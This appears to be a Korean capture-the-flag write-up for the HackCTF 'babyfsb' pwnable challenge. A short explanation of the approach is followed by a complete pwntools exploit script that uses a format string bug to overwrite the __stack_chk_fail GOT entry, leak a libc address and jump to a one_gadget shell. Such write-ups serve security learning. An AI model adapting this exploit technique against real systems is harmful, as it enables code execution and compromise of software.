WAR GAME/HackCTF

[HackCTF : Pwnable] babyfsb 풀이 (64bit, FSB)

jir4vvit 2021. 4. 26. 15:19

문제 풀이 환경 : ubuntu 16.04
사용 툴 : IDA 7.5 pro

partial relro인데 마땅히 덮을 got가 없다면? __stack_chk_fail 함수를 덮어라! (canary가 존재할 시)

사실 bof가 터지는게 먼저입니다


보호 기법
main

fsb, bof 둘 다 터짐

하지만 bof로 RET를 건들 수는 없고, canary를 건드려 __stack_chk_fail 함수만 호출가능할 정도...

마땅히 덮을 만한 함수가 없으니 이것을 원가젯으로 덮기로 함

Summary

  1. __stack_chk_fail 함수를 main 함수로 overwriting
  2. libc 주소 leak
  3. __stack_chk_fail 함수를 one_gadget으로 overwriting
from pwn import *

p = process('./babyfsb')
#p = remote('ctf.j0n9hyun.xyz', 3032)
e = ELF('./babyfsb')
#libc = e.libc
libc = ELF('./libc.so.6')

stack_chk_fail_got = e.got['__stack_chk_fail']
main = e.symbols['main']
one_gadget_offset = 0x45216

rtld_offset = 0x5f0f48

main_low = main & 0xffff
main_high = (main >> 16) %0xffff

log.info(hex(main_low))
log.info(hex(main_high))

# offset 6
payload = ''
payload += '%{}c'.format(main_high)
payload += '%9$hn'
payload += '%{}c'.format(main_low - main_high)
payload += '%10$hn'
payload += 'AAA'
payload += p64(stack_chk_fail_got + 2)
payload += p64(stack_chk_fail_got)
#payload += '%15$p'
payload += 'B' * (0x40 - len(payload))

print len(payload)
pause()
p.sendafter('\n', payload)


# leak... 25
payload = ''
payload += 'leak:%25$p'
payload += 'B' * (0x40 - len(payload))

#pause()
p.sendafter('hello\n', payload)

p.recvuntil('0x')
leak = int(p.recv(12),16) 
log.info('leak : '+ hex(leak))

libc_base = leak - libc.symbols['__libc_start_main'] - 240
log.info('libc_base : ' +hex(libc_base))


#
one_gadget = libc_base + one_gadget_offset
log.info('one_gadget : '+hex(one_gadget))

one_gadget_low = one_gadget & 0xffff
one_gadget_middle = (one_gadget >> 16) & 0xffff
one_gadget_high = (one_gadget >> 32) & 0xffff

log.info('one_gadget_low ' + hex(one_gadget_low))
log.info('one_gadget_middle ' + hex(one_gadget_middle))
log.info('one_gadget_high ' + hex(one_gadget_high))

low = one_gadget_low

if one_gadget_middle > one_gadget_low:
    middle = one_gadget_middle - one_gadget_low
else:
    middle = 0x10000 + one_gadget_middle - one_gadget_low

if one_gadget_high > one_gadget_middle:
    high = one_gadget_high - one_gadget_middle
else:
    high = 0x10000 + one_gadget_high - one_gadget_middle

payload =''
payload += '%{}c'.format(low)
payload += '%11$hn'
payload += '%{}c'.format(middle)
payload += '%12$hn'
payload += '%{}c'.format(high)
payload += '%13$hn'
payload += 'A' * (8-len(payload)%8)
print len(payload)
payload += p64(stack_chk_fail_got)
payload += p64(stack_chk_fail_got + 2)
payload += p64(stack_chk_fail_got + 4)
payload += 'B' * (0x40 - len(payload))
print len(payload)
pause()
p.sendafter('hello\n', payload)


p.interactive()